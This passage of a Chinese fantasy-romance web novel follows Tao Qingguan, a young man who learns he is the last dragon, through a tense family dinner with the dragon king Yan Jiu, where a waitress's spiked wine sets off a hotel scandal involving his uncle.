陶清观唇瓣抿起,宴氿跟他说过,确实有契约能共享生命,但只有两条龙之间才可以签订,之前的他不行,而现在…… “小渡……” 第103章 第 103 章 海底的东西都是你的。…… “你知道共享生命的契约吗?” 陶清观摁着手中的水性笔, 笔尖在白纸上留下杂乱无章的线条,他低着眉眼,睫毛打下的阴影遮住他眼底的色彩。 “知道。”小渡对陶清观毫无隐瞒, “龙族中只有少数伴侣会定下这种契约, 它条件苛刻,又没什么好处, 你年纪还小,这些你可许可不学。” 话虽这么说,小渡还是将关于契约的知识调到前面, 不多时,陶清观脑海中就浮现一长串介绍。 陶清观发现这项契约不仅需要双方都是龙族,还需要实力相近,差一个都不行。 龙,真是种不让自己吃亏的生物。 小渡知道龙族现在的情况, 陶清观大概找不到同样是龙的伴侣,它哄道:“不用烦恼这些事,我们小龙以后肯定能找到喜欢的伴侣。” 听到这话, 陶清观用指节蹭了蹭鼻子, 面上闪过一丝不太自然的色彩,“呃……我已经有伴侣了。” 小渡:“……?” 活了万把年的小渡罕见地体会到大脑过载的滋味, 它甚至重复确认道:“你知道伴侣的意思吗?” “当然知道。”陶清观轻咳一声, “按人类的年龄算,我早就成年, 已经过了法定结婚年龄。” 小渡这会要是在外面, 整条鱼估计得是接触不良的状态,它消化了半天陶清观的话,斟酌着问道:“你的伴侣是不是比你年长许多?” “你要仔细考虑, 那些年纪大的就喜欢哄骗小孩,你不要相信对方的花言巧语。” 小渡的话精准踩在宴氿的脸上,陶清观默默为宴氿辩解道:“他不是那种人。” “你见过人太少,那些老东西最会装蒜。”小渡不赞同道:“他若是有本事,为什么不在同龄人中找优秀的伴侣,反而来找你这种年纪小的。” “他就是图你长得好看,馋你身子。”小渡越说越来气,“你监护龙知道吗?至少要让他把把关。” 不行,它要怂恿宴氿,把那狗东西揍一顿,它才找到的小龙,犄角旮旯里冒出的废物也敢肖想,癞蛤蟆想吃天鹅肉,白日做梦。 “那个……”陶清观弱弱地开口,“如果你说的监护龙是指宴氿,那……我的伴侣就是他。” 小渡刚升起的怒火戛然而止,它的大脑直接宕机,好半天没说出一句话,仿佛陷入死机。 陶清观不放心,在心底喊道:“小渡,你还在吗?” “在。”小渡的声音响起,“在找龙干他。” 陶清观嘶了一声,瞧给孩子气得,都忘记龙族没人了。 小渡脑内风暴,久久不能平息,陶清观才多大,二十多岁,在它眼里还是个需要处处照顾的幼崽,宴氿居然敢! 它按下心头想杀龙的冲动,开口哄道:“跟我回传承地,那里什么都有,我知道好多条龙藏宝藏的地方,我带你去找,都给你。” 龙的宝藏。 陶清观可耻地心动了一瞬间,他很快找回理智,婉拒道:“我应该没法适应深海的环境。” 小渡沉默,确实,陶清观的身体太弱,承受不住深海的压强。 它焦急地在原地来回转圈,不死心道:“浅海也行,虽然宝藏少了点,但你想要什么,我可以帮你去深海拿。” 陶清观推辞道:“我还有工作,没法走那么远。” “工作?”小渡声音拔高两个度,“你是个幼崽,宴氿不养你,还让你工作!?” 它以为陶清观是出来玩的,结果居然是出来干活。 小渡要是有脸,这会儿肯定拉得老长,很好,宴氿的死因上又要多一条了。 陶清观安抚道:“我这个年纪的人类都会出来工作,不用宴氿,我能养活自己。” 小渡夸赞道:“嗯嗯,你很棒。” 多乖的幼崽,比那群只知道拆家,龙来疯的家伙好上不知道多少倍,小渡心软软,对宴氿的杀意更上一层楼。 它不想吓到陶清观,用温和的语气说道:“如果觉得累,一定要跟我说,我能养活你。” 虽然认识不到一天,但陶清观能感觉到小渡是真心对自己好,他多少有点触动,开口道:“谢谢。” 小渡从陶清观身体里钻出来,蹭了蹭陶清观的脸颊,然后又钻了回去。 陶清观勾起唇角,有种养小猫的感觉,龙族传承,意外地可爱。 也不知道是不是因为有病人来的缘故,小渡突然安静下来,不过当陶清观去叫对方时,小渡也有回应,陶清观便放下心来。 时至下午,沉默一下午的小渡忽然出声,“小观,你逆鳞里有多大位置。” 陶清观:“我有逆鳞吗?” “有。”小渡肯定道:“长鳞片时,逆鳞是第一个长出来的。” 陶清观抬手摸了摸自己的脖子,这里还没出现过鳞片,他对小渡的话有些好奇,问道:“逆鳞里能放东西?” 小渡科普道:“逆鳞对龙来说其实就是一块倒着生长的鳞片,因为是倒着的,所以放东西在里面不容易漏出来,很多龙都喜欢把随身物品放在逆鳞里。” 好方便的设定,陶清观感慨,这么说宴氿没了逆鳞,相当于没了一个随身口袋,当年宴氿丢逆鳞的时候,藏里面的东西不会也被顺走了吧。 陶清观在心底轻啧一声,也不怪宴氿追着那群人杀,太欺负龙了。 小渡接着道:“我先把东西放到你逆鳞里,你看看能不能拿出来。” 它沉默一下午,就是回去运东西,这可是最后一条小龙,继承海底所有的宝藏也是应该的,小渡只恨自己拿少了。 小渡心底暗搓搓地想着,让小龙多长些见识,说不定小龙就看不上宴氿,把对方甩了。 陶清观捏着颈脖上的软肉,虽然小渡说把东西给他,但他还是没什么特别的感觉,他试着把东西拿出来,然后手上一沉,他低头望去,一颗婴儿拳头大小的珍珠落在他的掌心。 不愧是龙族的收藏,随便一个都透着浓郁的金钱味道。 陶清观觉得好玩,把东西拿了又放,小渡塞给他的东西五花八门,但基本都是圆润的物体,陶清观怀疑对方是怕自己玩的时候,一不小心伤到。 玩够了,陶清观又把东西放回去,这些再加上宴氿送的,他不光是这辈子,下辈子,下下辈子的钱都有着落了。 陶清观望着挂起来的白大褂,忽然觉得自己十分热爱过工作,拿着这么多钱,居然还来乖乖上班。 他关上柜子,装模作样地摇摇头。 当龙真好,从今天起,他就不当人了。 陶清观换好衣服,往家溜达,路上不忘跟小渡唠嗑,顺便询问对方能不能捐一部分东西出去。 他拿那么多东西也没用,倒不如把不是法器的物品卖掉,把钱捐给慈善机构。 小渡表示,东西送出去,那就都是陶清观的,随便陶清观怎么处置,卖一个,丢一个都无所谓,反正没了,它再去掘几个龙墓就是。 得到准话,陶清观在网上找起靠谱的慈善机构,找到一半,他又收到陶桑云发来的消息。 估计是怕他拿钱不办事,陶桑云消息发得是一条接一条,陶清观本想继续忽略,却看见陶桑云说晚上请他吃饭。 陶清观指尖敲着手机边缘,他这个大伯真是耐不住性子。 他回了句不一定有时间,就把对方撂在一旁,陶桑云请客,看到对方那张脸,他怕他吃不下饭。 但有些事,不是一句话就能拒绝的。 陶清观走到家门口,看见陶桑云站在自家别墅门口,也不知道等多久了,对方后边还跟着个大病初愈的陶凌霄。 他心底啧了一声,看来这顿饭陶桑云是铁了心要请。 陶清观走上前,敷衍地叫了声,“大伯。” 陶桑云挤出一个笑容,开口道:“地方我都订好了,龙王肯定喜欢,来,小观,这是给龙王的见面礼。” 他担心宴氿不赏脸,想借助陶清观的嘴去邀请。 陶清观瞥了眼陶桑云递来的袋子,里面放着不少小盒子,估摸着也是金银财宝之类的东西,换做前两天他可能会有点兴趣,但今天,小渡给了他一大堆,陶清观都有点看腻歪了。 他随手接过袋子,按响门铃,不多时,宴氿接通。 “怎么了?没带钥匙?” 宴氿的声音传来,紧接着大门打开。 陶清观开口道:“没有,我大伯说要请我们吃饭,还送了东西来。” 宴氿看到站在陶清观身旁的两人,不着痕迹地蹙眉,他踱步走来,无视陶桑云,问道:“上了一天班,累不累?” 言下之意,累就不去。 陶桑云闻言,心底紧张,连忙暗中给陶清观使眼色。 陶清观的视线划过陶桑云,抬手将袋子塞给宴氿,“还行,东西给你,你不想去?” 听见陶清观的回答,陶桑云松了口气,可听到后面的问话,他又紧张起来,生怕宴氿拒绝。 这种小事,宴氿向来听陶清观的,既然陶清观没拒绝,他便答应下来,“我跟你一起。” 陶桑云悬着的心落下,立即招呼宴氿和陶清观上车,话里话外都在讨好宴氿。 陶清观坐在后排,望着前面,陶桑云脸上每道皱纹里都写的殷勤,说对方没打小主意,他都不相信。 距离订婚的日子没几天,难道说陶桑云想用电视剧里的常见桥段,比如生米煮成熟饭之类,按照陶桑云的猪脑袋,还真有这个可能。 陶清观搜索他们要去的地方,一看是个包括住宿的酒店,越发确定心中的猜测。 他有预感,今晚肯定很热闹。 第104章 第 104 章 失去的记忆 陶清观坐在圆桌前, 手指漫不经心地划着平板屏幕,既然是陶桑云请客,陶清观也不客气, 专挑贵的点, 反正有宴氿在,点再多也不怕浪费。 一旁的陶桑云赔着笑脸, 试图和宴氿搭话,宴氿态度肉眼可见的敷衍,陶桑云说上十句, 他不过简单回个嗯。 陶清观余光掠过宴氿那边,在陶桑云的有意安排下,宴氿右边坐着他,左边坐着陶凌霄。 这圆桌也不小,可他们三只占了一半, 显得陶桑云那边尤其宽敞。 司马昭之心,路人皆知啊。 陶清观勾起唇角,将平板推到宴氿面前, 开口道:“看看, 还有什么想吃的。” 宴氿低头望去,菜单上边的红点写着二十一, 他默了一瞬。 ……二十一道菜? 陶桑云跟着道:“您别跟我客气, 想吃什么直接点。” 宴氿嗯了一声,给每道菜乘了个二。 平板回到陶桑云手中的那一刻, 陶桑云脸上的笑容差点没维持住, 四个人满打满算,十个菜是多得不能再多,四十二这个数字一出, 简直天地都黯然失色。 陶桑云心在滴血,这两天的花哨都快比得上他五六年了,但想到最后的回报,陶桑云一咬牙,按下确认键。 他讪笑着开口:“这桌子怕是放不下这么多菜,多的,我给您打包。” 陶清观微笑,“没事,他吃得掉。” 宴氿:“……嗯。” 陶桑云不管心底怎么想,面上都得端着,他不知道怎么夸,就在那夸宴氿胃口好,身体好。 偏偏他还用着文绉绉的句子,怎么听怎么别扭。 陶清观低着头,手虚掩着嘴,眼底幸灾乐祸地笑意藏都藏不住。 老龙,你也有今天。 俗话说,伸手不打笑脸人,但这话是人说的,又不是龙说的。 宴氿冷着脸,沉声道:“闭嘴。” 陶桑云瞬间噤声,他嘴还保持着张开的状态,想说两句缓和气氛,可对上宴氿漆黑的眼眸,喉咙就像是被棉花堵住,漏不出一点声音。 从始至终安静坐着的陶凌霄暗中拽了下陶桑云的衣摆,示意对方别再开口。 他面色仍是苍白如纸,不见一点血色,动作间透着一股弱不禁风的感觉,显然传承的离开让他元气大伤。 陶清观在心底戳小渡,问道:“陶凌霄虽然算不上龙族,但也算有龙族血脉,为什么会有这么严重的负面影响。” 小渡无奈,“不是什么歪瓜裂枣都能和龙扯上关系。” 它发现小龙对自己的认知有不小的偏差,总把自己和一群完全不相干的人对比,在它眼里,小龙和那个试图窃取传承的贼没有半分相似。 “龙和人之间有一道明显的分界线,纵使他有那么一点龙族血脉,他也是站在人族那边,而你不同,你越过了那条线,你是龙,从出生就是。” 小渡语气笃定,“物种是无法后天改变的,你是龙,也只能是龙。” 陶清观越听越迷糊,虽然小渡说得很明白,可他爸妈都是人,他怎么就不是个人了。 返祖? 好像能解释,但陶清观总觉得有哪里怪怪的,再说龙是卵生,他也没听说他出生时外面包着个蛋。 陶清观问出心中的疑惑,“我出生时和正常小孩没两样,是龙不该有点别的表现吗?” 小渡顿了一下,作为龙族延伸至今的传承,它很快就找到可能的原因。 “龙在壳里待上五年才会破壳,那一刻才算真正的诞生,你血脉特殊,应该是你五岁前发生了些事,导致你在确定物种的那一刻偏向了龙。” 至于发生了什么,它也无法推测,龙族早已走上绝路,陶清观的诞生本就是一个奇迹。 小渡声音柔和下来,“不管发生什么,你的种族已经确定,你是龙族最后一个孩子,你要做的只有好好长大。” 陶清观垂眸望着自己的手,白皙纤细,与锐利的龙爪搭不上半点关系。 他是龙? 从一开始陶清观就没相信过这句话,他更倾向于是他体内增长的龙族血脉迷惑了小渡,但现在对方又提起他五岁前的经历。 那段记忆蒙着雾,他曾无数次回想,可脑袋里只有空茫茫的一片,他只记得那一年他和爸妈到海边去玩,再然后的记忆就是医院雪白的吊顶,和耳边吵个不停的仪器。 他依稀记得徐婉晴在病床边哭泣的模样,那双通红的眼中溢满自责。 家里其他人对他生病的原因默契地闭口不提,偶尔不小心提起,徐婉晴面上写满内疚懊悔,陶清观不想看见徐婉晴那副表情,久而久之他也没再问过当年的事。 陶清观敛下眼眸,事已成定局,再去探寻也改变不了眼前的情况,过去便过去吧。 “嗯,我知道了。” 话题到此为止,陶清观拨弄着手边的筷子,视线流转于几人之间。 随着门被敲响,服务员推着餐车进来,将菜一道道晚上端,圆桌上放满,旁边的餐车上还有十几道菜。 服务员问道:“需要留下一个人帮忙上菜吗?” “不用。”陶桑云不想留碍事的人在场,让服务员统统出去。 他清了下嗓子,想顺势说两句,但陶清观根本没给他发挥的机会,拿起筷子就是干饭。 宴氿还纵着陶清观,不仅帮忙倒果汁,还帮着夹菜,这让陶桑云想斥责陶清观都没法开口。 陶桑云心底憋着气,他真想不明白龙王是看上陶清观哪边,明明他的凌霄比陶清观强上千倍万倍。 他冲陶凌霄使了个眼神,催促着人赶紧行动。 陶凌霄放在腿上的手收紧,他唇瓣微抿,起身对宴氿道:“我帮您盛汤。” 宴氿抬手挡住自己的碗,声音冷淡,“不用。” 陶凌霄唇角绷直,摸摸桌下,他背挺得笔直,像是想缓解心底的尴尬,他本就苍白的脸色愈发难看。 陶清观喝着宴氿盛的汤,轻描淡写地扫了陶凌霄一眼,心底啧啧称奇。 他大伯思想工作做得不错,陶凌霄这种鼻孔朝天的家伙都知道讨好人了,真没想到陶凌霄会愿意当逢低做小的那个,对方以前那点清高怕不都是装出来的。 陶清观唇角挽起一抹弧度,看见陶凌霄拿起筷子为宴氿夹菜,他唇角的弧度加深,抬眸好整以暇地望着宴氿。 宴氿蹙眉,将碗拿到一旁,避开陶凌霄的筷子,“吃你自己的。” 陶凌霄的手尴尬地现在空中,他后槽牙咬紧,指节因为用力泛着白色,他沉默地收回手,低着头藏起面上的难看。 陶桑云连忙出声打圆场,“凌霄一直仰慕您,这是见面也是想和您亲近些,不知道您有洁癖,是他冒犯了。” 陶清观眨了眨眼,他瞥过陶桑云谄媚的表情,伸手随意夹了个菜放进宴氿碗里,干脆利落道:“吃。” 宴氿低眸望去,陶清观夹给他的是块红艳艳的大辣椒。 陶桑云见此当即就要发作,可宴氿先他一步夹起菜,陶桑云心底冷哼一声,蠢货,做事不过脑子,这样也好,要是龙王厌恶陶清观,陶凌霄的机会就更大。 他心底打着小算盘,等待宴氿发火,他还能顺势骂两句,他忍陶清观很久了。 在陶桑云的注视下,宴氿抬起筷子,面无表情地将红椒放入口中,他咀嚼了两下,眉头微蹙,但还是将红椒咽下去。 陶清观看得欲言又止,那盘菜是红椒炒鸡蛋,他夹的时候没注意,鸡蛋给夹碎了,最后就剩个红椒。 他发誓,他不是故意的。 宴氿拿起一旁的杯子喝了几口,嘴里的又辣又涩的味道才压下去,他拧着一边眉宇,开口道:“难吃,你别吃。” 见宴氿都把水喝完了,陶清观把自己的杯子递过去,有那么一丢丢心虚,“再喝点。” 宴氿自然地拿起陶清观用过的杯子。 陶桑云眼睛瞪圆,不敢置信地望着宴氿,关于对方的传闻他打听过不少,可没一条说对方好说话,陶清观就这么合宴氿眼缘? 事情的发展完全偏离他的预期,陶桑云直觉不能再放任局面发展下去,他开口道:“我之前因缘巧合得到一瓶碧露泉,趁今天这个机会,正好开了高兴高兴。” 陶桑云语气中带着一丝得意,碧露泉这种酒一年也没个两瓶,他珍藏这么多年就是为了今天这种日子。 他说完,立即联系酒店的经理,让人将冷藏的酒带上来。 电话那边,经理指挥着手下的员工去藏品区拿酒,对着员工耳提面命,再三强调一定要小心,酒千万不能有问题。 员工撇嘴,在心底翻了个白眼,这群有钱人就是事多,谁知道钱是从哪来的 她不想担这个责任,对着一旁的实习生说道:“酒窖第二个,挂着黄牌子的那个,你拿过来,给凤苑的客人送去。” 实习生心底发苦,却也没办法,拿着钥匙往酒窖走。 此刻,酒窖内。 一位妆容精致的女服务员捂着自己的小腹,她眼底充满狠戾与决绝。 今天是最后的机会,再晚孩子的月份就对不上了,她调查过,今晚来了个风流成性的老不死,只要她把握好剂量,对方肯定不会多想。 女服务员将带来的药倒入酒中,正准备拿着酒走,忽然听见门外有脚步声,她做贼心虚,连忙收拾好东西,躲到一旁。 实习生心底紧张,掌心里冒着冷汗,他寻找着挂黄牌的酒,可有两三瓶酒上边挂着的都是黄牌。 是第二个,还是第三个来着。 耳麦中一个劲传来催促的声音,实习生心一横,拿起第三瓶酒快步离开。 藏在角落里的女服务员眉心蹙起,又很快松开。 也好,让别人送,还能免去她的怀疑,不过换个对象罢了。 第105章 第 105 章 酒中下料 晶莹剔透液体在玻璃中摇晃, 醒酒的器皿被推进来,服务员挨个摆放酒杯,在他走到陶清观面前时, 一只手拦住他。 宴氿侧眸问陶清观, “喝酒吗?” 他私心自然是不希望陶清观喝酒,虽然他没见过陶清观真正喝醉的模样, 可对方每次‘醉灵’时,都会抱着人乱亲,虽然这样也很可爱, 但这种事只能发生在他们独处时,他不想让旁人窥见陶清观的另一面。 陶清观无所谓,他本身对酒也没那么喜欢,抛去必要的应酬,他喝酒的次数屈指可数, 宴氿不想,那就不喝。 “不喝。” 宴氿眉心舒展,他把自己的酒杯也放回去, 说道:“我也不喝。” 客人的要求, 身为服务员自然不可能不听,服务员收回酒杯, 而陶凌霄大病初愈也不能喝酒, 到最后面前有酒杯的只剩陶桑云一人。 陶桑云起身劝道:“您多少尝尝,这酒可遇不可求, 您若是喜欢, 可以把剩下的带回去慢慢喝。” 宴氿不为所动,“我没兴趣。” 他自顾自剥着手中的虾,剥好后, 他蘸上酱汁,放进陶清观碗中。 陶清观对此司空见惯,他们还没在一起的时候,宴氿就喜欢照顾他,他拒绝无果,索性受着,就当照顾男朋友的小爱好了。 但坐在一旁的陶凌霄显然不这么想,他唇角下压,眼底有暗色交织。 每次都是这样,陶清观什么都不用做,就有人捧着东西到陶清观面前,眼巴巴地期待陶清观接受。 而他再怎么努力,得到的不过是陶笠鹤一句‘少把心思放在旁门左道上’,明明他才是天资出众的那一个,可龙王情愿花费大量时间精力去帮陶清观,也不愿意多给他一个眼神。 甚至今天,他还得求着陶清观,求对方在宴氿面前帮他说话。 凭什么? 他那么多年的努力,到头来在陶清观的运气前一文不值。 陶凌霄心底不甘,但他清楚错过今天的机会,他可能再也没机会和龙王攀上关系,以他现在的身体状况,他和陶清观之间的差距只会愈来愈大。 他压下心头翻涌的情绪,拿起一旁的酒杯,浅浅倒上一些酒,对宴氿道:“您试试,这点酒不醉人。” 陶清观心底警觉,怎么都劝宴氿喝酒,陶桑云不会正在酒里下药了吧。 他暗自戳小渡,问道:“这酒能喝吗?是不是被下药了。” 小渡秒回:“能喝。” 它耐心解释道:“世间很少有毒能对龙族起效,人族的毒药对龙来说基本没有效果。” 陶清观:“百毒不侵?” 小渡:“剂量不够,要起效,龙得按筐吃。” 陶清观:“……”好好道理。 他忽然想起网上的冷段子,一次吃六吨没熟的西红柿会龙葵素中毒,一次吃480根香蕉会碱中毒,一次生吞45勺盐会得高钠血,离谱却又是事实。 由此可见,抛开剂量谈毒性,都是在耍流氓。 陶清观安心了,别说小小一杯酒,宴氿就是把一瓶都吨了,八成也没事。 他懒得参与旁边两人一龙的纠缠,默默拿起勺子给自己盛了碗汤,安静看戏。 而陶桑云就没这个耐心,他拿出在酒桌上的劝酒的那一套,端起酒杯喝了一大半,开口道:“以后我们就是一家人,一家人不说两家话,我先干了,您看着办,水也行,果汁也行,随您喝那个。” 陶桑云对自己的酒量很有自信,他是想将宴氿灌醉,再谈认干爹的事,毕竟酒这种东西,一上头,什么都好说。 但宴氿完全没有喝的意思,陶桑云也只能退而求次,靠陶清观拉关系。 宴氿不置可否,陶清观不喜欢陶桑云父子俩,他恨屋及乌,自然也不会喜欢。 这次出来吃饭都是看在陶清观的份上,现在陶桑云还拿这点出来说事,宴氿心头不喜。 他无视陶桑云递来的酒,转而对陶清观道:“还吃虾吗?” 陶清观瞥过浑身上下透着尴尬的陶桑云,心底啧啧两声,他望向宴氿,开口道:“吃。” 于是宴氿又剥起虾,将陶桑云父子俩忽视个彻底。 陶凌霄面上的表情已经要挂不住了,坐在这个房间里都让他感到屈辱,他低下头不再说话,接到陶桑云的暗示依旧一声不吭。 陶桑云一个头两个大,他讪讪笑着,拿陶凌霄没辙,拿宴氿更没辙,他坐回去,两手交握在手上不停摆动,最后他心一横,又给自己倒满,恭维道。 “今天能和您一起吃饭,实在荣幸,我再干一杯。” 说完,他咕嘟咕嘟把酒喝了个干净。 陶清观饶有兴致地望着陶桑云,这酒的度数估计不低,陶桑云喝上两杯,面上泛出坨红色,眼神也变得迷离起来。 有够拼的。 陶清观凑到宴氿身旁,低声调侃道:“当皇帝的感觉怎么样?” 宴氿无奈,“你来就是想看我乐子?” 陶清观哼哼两声,“你真没看出来?” 他眼神划向一旁埋着头的陶凌霄,抬手拱了宴氿一下。 宴氿蹙眉,他是看出陶桑云父子俩在有意讨好他,对方为得无非就那点事,可听陶清观的意思,似乎还有什么隐情。 他扫过陶桑云父子俩,眼底划过一丝嫌弃,两个瘟神,靠近准没好事。 等找机会,他再和陶笠鹤提两句,这种放在眼前都觉得碍眼的儿子,不如早早送出去,多锻炼个几年,说不定还能有点用。 “龙王。”陶桑云甩了甩脑袋,试图把眼前的重影甩掉,他说话时大着舌头,“您喝。” 宴氿神色不悦,挡住陶桑云倒酒的动作。 陶桑云触及宴氿冰凉的视线,发烫的大脑冷却些许,意识到自己喝多了,他晃晃悠悠站起身。 “喔、我去趟洗手间。” 陶桑云步伐踉跄,心底疑惑,按道理来说,区区两杯酒他喝得跟喝水似的,怎么今天反应这么大。 他记得那瓶酒的度数算不上高才对。 陶桑云拧着眉,抬手解开衬衫上边的几颗纽扣,一股股热浪袭来,让他本就不太清晰得大脑更加模糊。 他站在原地,神色茫然。 洗手间在哪边? “这位客人,请问您需要什么帮助吗?” 甜美的女声从背后传来,陶桑云回过头,看见一位服务员打扮的女人,他立即指挥道:“带我去洗手间。” “好。” 女服务员勾着陶桑云的胳膊,小心翼翼地负责人往前走,她有意避开小腹与陶桑云接触,目光掠过陶桑云的脸,她心底不满意。 年纪太大,一身肥肉,想到这样的手要碰自己,她就觉得恶心。 若不是为了孩子…… 女服务员目光阴翳,医生告诉她,她流产太多次,这个孩子很可能是她最后一个孩子,若是生不了,她拿什么拴住那些风流成性的家伙。 她记不得孩子的父亲是谁,但没关系,只要找个冤大头攀上,中途再意外流产,最好能让那个冤大头愧疚,到时候她一样能拿到不少钱。 想到美好的未来,女服务员隐下眼底的嫌弃,夹着甜甜的声音说道:“您要不要先回房间休息,房间里也有洗手间。” 神智不清的陶桑云听到洗手间三个字,下意识嗯了一声。 女服务员笑容甜腻,扶着陶桑云离开。 另一边。 陶桑云离开没多久,房门就被敲响,酒店经理走进房间,额头带着虚汗。 “很抱歉,因为我们的失误导致酒拿错。”经理鞠了一躬,接着道:“我们马上将酒送来,这瓶酒算我们酒店赠送给您,另外此次餐费打八折,您看可以吗?” 发现酒拿错的那一刻,经理心脏骤停,好在被拿来的这瓶酒不算稀品,他们酒店有库存,而真正罕见的那瓶还在酒窖里放着,这才没酿成大错。 能来这层楼的人非富即贵,经理一个也不敢得罪。 陶清观慢悠悠地喝着果汁,请客的又不是他,他操什么心。 不过陶桑云喝那么多,居然都没发现酒不对,对方前头的吹嘘成了回旋镖,完美命中。 陶清观心底惋惜,陶桑云这走得太巧了,他想看看对方知道这事会是什么表情。 陶凌霄显然也想到这点,面色不太好看,他苛责道:“这么长时间才发现,这就是你们酒店宣传的服务质量?” “实在抱歉。”经理再次道歉,“您有什么要求可以提,这确实是酒店地问题,我们不会推脱,一定会给出让您满意的答复。” 陶凌霄心底憋着火气,顾忌着宴氿在,他没有咄咄逼人,而是拿出手机给陶桑云打电话。 他有点埋怨陶桑云,对方一意孤行,不仅害他落下病根,现在又让他在陶清观面前抬不头,要是当时没听对方的就好了…… 陶凌霄眸色暗下,电话铃声在房间回响,许久也没人接听,直到最后自动挂断。 经理心底生出一种不妙的预感,问道:“这瓶酒度数偏高,那位离开时是不是喝醉了?” “有点。” 陶凌霄又拨出一通电话,依旧没有得到回应,到底是自己的父亲,他不放心,对经理道:“赶紧去找人,若是有什么万一,你们酒店逃不了干系。” “放心,酒店里有监控,只要他还在酒店,很快就能找到。” 经理说完,匆匆离开。 陶凌霄不放心,起身准备去最近的洗手间看看。 一场饭局变闹剧,陶清观放下杯子,偏过头问宴氿道:“我们也去看看?” 宴氿看出陶清观想凑热闹,他勾起唇角,说道:“好,就当饭后消食。” 第106章 第 106 章 陶清观:好一出大戏…… 比起陶凌霄的步伐急切, 陶清观就悠闲多了,他不紧不慢地跟在陶凌霄身后,还不忘小声跟宴氿蛐蛐。 “那酒度数有多高?” 他看陶桑云走时, 脚步都不太稳, 以为是对方菜,结果是酒太烈。 “对于经常喝酒的人不算太高。”以前有段时间, 宴氿嗜好喝酒,但自从他发现,再烈的酒也不能让他醉倒, 渐渐的,他对酒的兴趣就淡了下去。 不过他对酒的了解还在,那酒闻味道,算得上烈,但不至于两杯下去神智不清。 陶清观挑眉, 酒真有问题?可陶桑云是自己把酒灌下去的,要是动了手脚,对方没道理喝这么多。 他心底觉得奇怪, 难道说, 是换回来的那瓶酒有问题? 陶清观拍拍宴氿的胳膊,开口道:“你能看出那瓶酒里有没有下药吗?” “光靠看不行, 尝一下应该可以。”宴氿垂眸对上陶清观的目光, 笑道:“好奇?” 陶清观连连摇头,“算了算了, 你别喝, 之后拿去化验一下也一样。” 明知道酒有问题还去和,这不纯纯作死。 谈话间,他们来到附近的卫生间, 陶凌霄进去查看,转了一圈什么都没找到。 陶清观双手抱臂在一旁站着,见陶凌霄一个人走出来,他开口道:“隔壁找了吗?” 男厕所的隔壁自然是女厕所。 陶凌霄愤愤瞪了陶清观一眼,“长辈失踪,你不帮忙就算了,还在旁边说风凉话。” “我是合理建议。”陶清观摊手,“之前又不是没发过类似的事。” 陶桑云这个人,酒品真的不咋滴,他听过一些传闻,陶桑云醉酒后不仅脾气会变暴躁,而且还会打人,更有一次,对方差点闯进女厕所,也不知道是怎么想的。 估计是喝多了,下ti控制大脑。 陶凌霄唇瓣绷直,没再搭话,他不想在宴氿面前抖落出更多丢脸的事,虽然现在的状况已经够丢脸了。 就在这时,离开的经理去而复返,他一手抵着耳麦,开口道:“确定是3014号房吗?好,我知道了。” 他快步来到几人身旁,说道:“人找到了,那位客人在走廊醉倒,被我们的服务员看见,扶到客房休息了。” “几位随我来。”经理解释完大概情况,转身为陶清观几人带路。 陶清观与宴氿对视一眼,跟上经理的脚步。 路上,经理时不时和耳麦另一边的监控人员交流,他安抚着陶凌霄,“您放心,既然我们员工注意到您父亲的情况,就肯定不会让他出事。” 陶凌霄臭着脸,不理会经理。 待走到房门前,他像经理伸出手,命令道:“房卡。” 经理正准备拿,耳麦中突然出现监控人员惊慌失措的声音,他听完,神色一凝,想收回房卡,可陶凌霄哪会让他如意,经理手中的房卡被一把抢过。 落后一步的宴氿眉心皱起,风从他耳畔划过,夹在着微弱的声响,他再三确定自己没有听错,面色瞬间变得古怪起来。 陶清观察觉到宴氿的异常,低声问道:“怎么了?” 宴氿犹豫了一会儿,附在陶清观耳边轻声说了几句。 陶清观听得眼眸瞪圆,他一脸震惊,用气音问道:“真的假的?” 这么劲爆!? 宴氿颔首。 陶清观扭头望去,那边经理支支吾吾想阻止陶凌霄开门,可陶凌霄那性子哪听得进对方的话,他推开经理,直接刷了房卡。 门向内缓缓打开,正对着门的床位一览无余,一坨白花花的肥肉哼哧哼哧地做着活塞运动,即使门打开,也丝毫没影响到里面人的兴致。 陶清观探头探脑,还没看两眼,眼睛就被一只大手盖住,宴氿的声音传来。 “脏,别看。” 陶清观撇嘴,区区裸体,他看过不知道多少具,不过陶桑云这身材确实辣眼睛。 第一个冲进房间的陶凌霄当场愣住,他回过神下意识要关门,但还是迟了一步。 一位路过的女客人大概是见他们这边人多,扭头望门内看了一眼,看到交叠的肉ti,她不禁叫出声。 这一下,好几间房的门打开,有人出来查探情况,目光汇聚向陶凌霄那边。 守在这一层的保安们听到声响,一个个快步跑来,寻问道:“这位先生,发生什么事了?” 陶凌霄挡在门前,面色青紫,他阴着脸,沉声道:“没事。” 这句话在此刻显得尤其无力,在场的人面面相觑,保安也站在原地没有离开。 陶凌霄气得面色都红润不少,他大声喊道:“我都说没事,你们围在这做什么?” 他瞪向旁边的经理,开口道:“你还不去解释清楚。” 经理抹着额头上的虚汗,心底发苦,这些有钱人他在了解不过,一个个把面子看得比什么都重,若是让这件丑闻传出去,他肯定会被追责。 无奈之下,他只好站出来和保安交涉,“确实没事,你们回去吧。” 保安们见状,也不好说什么,转身准备离开。 “等等!”刚发出尖叫的女人拦住保安,她手臂颤抖地指向屋内,说道:“我、我看到了,里面在强jian!” 此话一出,场面一片轩然。 陶凌霄面色铁青,冷声道:“胡说八道。” 女人见周围这么人,胆子也大起来,她踩着高跟鞋走近,跟陶凌霄对峙,“是不是你让我们看看不就知道了,赶紧放里面的女人出来,不然我就报警了!” “你!” 陶凌霄额角青筋暴起,目光阴翳,望着女人的眼中充斥着怒意,他按下心头的怒火,刚要开口,背后传来急切的敲门声。 一下接着一下,像是在求救一般,隐隐还能听见女人的哭泣声。 挡在陶凌霄面前的女人秀眉皱起,手指就差戳着陶凌霄的眼睛,“还不赶紧让开,难道你和里面的强jian犯是一伙的?” 陶凌霄垂在身侧的手攥紧,指甲深深嵌入肉中,周围人或是怀疑,或是鄙弃的目光压得他抬不起头来,喉咙干涩发不出一点声音。 面其余人见此,纷纷出声。 “快开门,你们这是犯法。” “如果没事,让我们看一眼又怎么了。” “是啊,大不了你敲门,我们等着。” “……” 众人你一言我一语,根本不留余地。 眼看聚过来的人越来越多,甚至有不少人打开手机开始录像,经理背后被惊出一身冷汗,他面色为难,对陶凌霄说:“酒店有义务保证客人的人生安全,您看,要不要让保安进去看看。” 事情发展到这种地步,不看是不可能了。 陶凌霄后槽牙咬紧,抬手用力敲了两下门,他叫不出‘爸’这个称呼,语气生硬地问道:“你在里面吗?在就开门。” 两句废话,全是为了拖延时间,提醒里面的人快点收拾。 